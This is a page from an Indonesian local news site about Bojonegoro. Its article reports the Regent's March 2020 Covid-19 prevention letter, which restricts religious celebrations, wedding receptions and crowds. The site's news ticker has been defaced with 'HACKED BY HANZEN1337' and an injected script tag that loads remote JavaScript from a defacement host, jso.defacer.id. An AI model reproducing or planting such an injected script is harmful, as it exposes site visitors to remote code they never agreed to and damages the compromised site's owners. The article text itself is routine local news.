News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Bupati Bojonegoro Kembali Sampaikan Imbauan Terkait Pencegahan Virus Corona

Virus Corona

Bupati Bojonegoro Kembali Sampaikan Imbauan Terkait Pencegahan Virus Corona

Bojonegoro - Bupati Bojonegoro, Dr Hj Anna Muawanah, pada Jumat (20/03/2020) kembali menyampaikan imbauan terkait Pencegahan Virus Corona (Covid-I9) di Kabupaten Bojonegoro.
 
 
Imbauan tersebut disampaikan Bupati melalui Surat Nomor: 440/184/412.305/2020, yang ditujukan kepada Camat se Kabupaten Bojonegoro, Ketua MUI Kabupaten Bojonegoro, Ketua PC NU Kabupaten Bojonegoro, Ketua PD Muhammadiyah Kabupaten Bojonegoro dan Ketua DPD LDII Kabupaten Bojonegoro.
 
Informasi yang didapat awak media ini dari Kepala Bagian (Kabag) Humas dan Protokol Setda Pemkab Bojonegoro, Masirin SSTP MM, bahwa dalam surat tersebut, Bupati Anna Muawanah menyampaikan bahwa dalam rangka pencegahan penyeharan Virus Corona (Covid-19) di Kabupaten Bojonegoro, Bupati memerintahkan untuk melakukan langkah-langkah sebagai berikut :
 
 
1).Pelaksanaan kegiatan keagamaan yang bersifat perayaan, untuk sementara waktu ditiadakan sampai dengan situasi kondisi yang memungkinkan, sedangkan kegiatan keagamaan yang sifatnya wajib, seperti salat Jumat dan salat berjamaah, masih dapat dilaksanakan dengan membawa alat salat (sajadah) sendiri-sendiri, sambil melihat perkembangan lebih lanjut
 
2).Pelaksan pernikahan atau hajatan lain untuk resepsi/pesta/perayaannya, agar ditunda, namun demikian apabila tetap dilaksanakan resepsi/pesta/perayaan agar memperhatikan sebagai berikut: a). Jumlah undangan dibatasi maksimal sebanyak 100 orang dari dalam daerah; dan b). Apabila ada undangan dari luar daerah dibatasi maksimal 10 orang, dengan terlebih dahulu diperiksa kesehatan oleh petugas kesehatan setempat.
 
3).Untuk kegiatan keramaian di masyarakat ataupun yang sifatnya mengumpulkan banyak orang agar ditunda pelaksanaannya dan Camat untuk mengoordinasikan pelaksanaannya dengan Forkopimcam.
 
4). Menegaskan atas Surat Edaran Direktorat Jenderal Bimbingan Masyarakat Islam, Kementerian Agama Republik Indonesia, tanggal 19 Maret 2020, Nomor P-002/DJ.III/HK.00.7/03/2020, tentang Imbauan dan Pelaksanaan Protokol Penanganan Covid-19, Pada Area Publik di lingkungan Direktorat Jenderal Bimbingan Masyarakat Islam.
 
"Diharapkan para pihak sebagaimana tersebut dalam surat dimaksud, dapat mematuhi dan melaksanakan imbauan tersebut," kata Masirin.
 
 
Selain itu, Masirin juga berharap agar masyarakat di Kabupaten Bojonegoro dapat mengikuti dan melaksanakan langkah-langkah yang dianjurkan oleh Pemkab Bojonegoro, dalam rangka pencegahan dan penyebaran virus corona (Covid-19) khususnya di wilayah Kabupaten Bojonegoro.
 
"Diimbau masyarakat untuk mengurangi kegiatan di luar rumah, mengurangi kontak dengan orang banyak. Selain itu masyarakat juga harus sadar diri akan kesehatan dan kebersihan lingkungan serta keselamatannya, kemudian agar aktif memeriksakan kesehatannya dan melaporkan diri kepada petugas yang ada di wilayah masing-masing apabila habis bepergian terutama dari luar kota atau luar negeri," kata Masirin.
 
 
 
 
Untuk diketahui, pada Minggu (15/03/2020) lalu, Bupati Bojonegoro melalui Instruksi Bupati Nomor 2 Tahun 2020, menetapkan Kejadian Luar Biasa (KLB) Non Alam dalam Rangka Pencegahan Penyebaran Virus Corona (Covid-19).
 
Dalam instruksi tersebut disampaikan bahwa beberapa langkah paktis harus diambil oleh Pemkab Bojonegoro, dalam rangka pencegahan dan meminimalisir penyebaran virus corona (covid-19) serta untuk mewujudkan ketentraman dan ketertiban umum di wilayah Kabupaten Bojonegoro. (dan/imm)
 
Ilustrasi: Bupati Bjonegoro Dr Hj Anna Muawanah saat lakukan video conference, dengan 28 camat se Kabupaten Bojonegoro, untuk memantau kondisi kesiapan dalam menghadapi penyebaran Virus Corona (Covid-19). Kamis (19/03/2020)
 
Berita Terkait
1783888271.2108 at start, 1783888271.5927 at end, 0.38196301460266 sec elapsed